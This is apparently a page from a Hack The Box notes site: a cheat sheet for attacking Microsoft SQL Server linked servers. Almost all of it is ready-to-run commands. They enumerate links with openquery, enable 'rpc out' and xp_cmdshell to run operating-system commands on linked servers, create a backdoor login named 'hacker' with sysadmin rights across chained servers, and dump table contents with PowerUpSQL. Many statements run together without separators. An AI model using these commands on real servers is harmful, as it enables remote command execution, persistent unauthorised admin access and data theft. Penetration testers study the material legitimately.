~/bokkapig
hack the box machine writeups
← cd ..

MSSQL - Linked Database

contents
mssql-linked-database.md

Summary#

select * from master..sysservers
-- execute query through the linkselect * from openquery("dcorp-sql1", 'select * from master..sysservers')select version from openquery("linkedserver", 'select @@version as version');-- chain multiple openqueryselect version from openquery("link1",'select version from openquery("link2","select @@version as version")')-- enable rpc out for xp_cmdshellEXEC sp_serveroption 'sqllinked-hostname', 'rpc', 'true';EXEC sp_serveroption 'sqllinked-hostname', 'rpc out', 'true';select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc'',''true'';');select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc out'',''true'';');-- execute shell commandsEXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServerselect 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')-- create user and give admin privilegesEXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results

Get-SQLInstanceDomain | Get-SQLServerLink -Verboseselect * from master..sysservers
Get-SQLServerLinkCrawl -Instance "<DBSERVERNAME\DBInstance>" -Verboseselect * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')

Query Version of Linked Database#

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DBSERVERNAME\DBInstance>`",'select @@version')" -Verbose

Execute Procedure on Linked Database#

SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at "linked.database.local";SQL> EXECUTE('RECONFIGURE') at "linked.database.local";SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local";SQL> EXECUTE('RECONFIGURE') at "linked.database.local";SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";

Determine Names of Linked Databases#

tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query.

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from sys.databases')" -Verbose

Determine All the Tables Names from a Selected Linked Database#

The result is TableName which feeds into following query

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from <DatabaseNameFromPreviousCommand>.sys.tables')" -Verbose

Gather the Top 5 Columns from a Selected Linked Table#

The results are ColumnName and ColumnValue which feed into following query

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand>')" -Verbose

Gather Entries from a Selected Linked Column#

Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`"'select * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=<ColumnValueFromPreviousCommand>')" -Verbose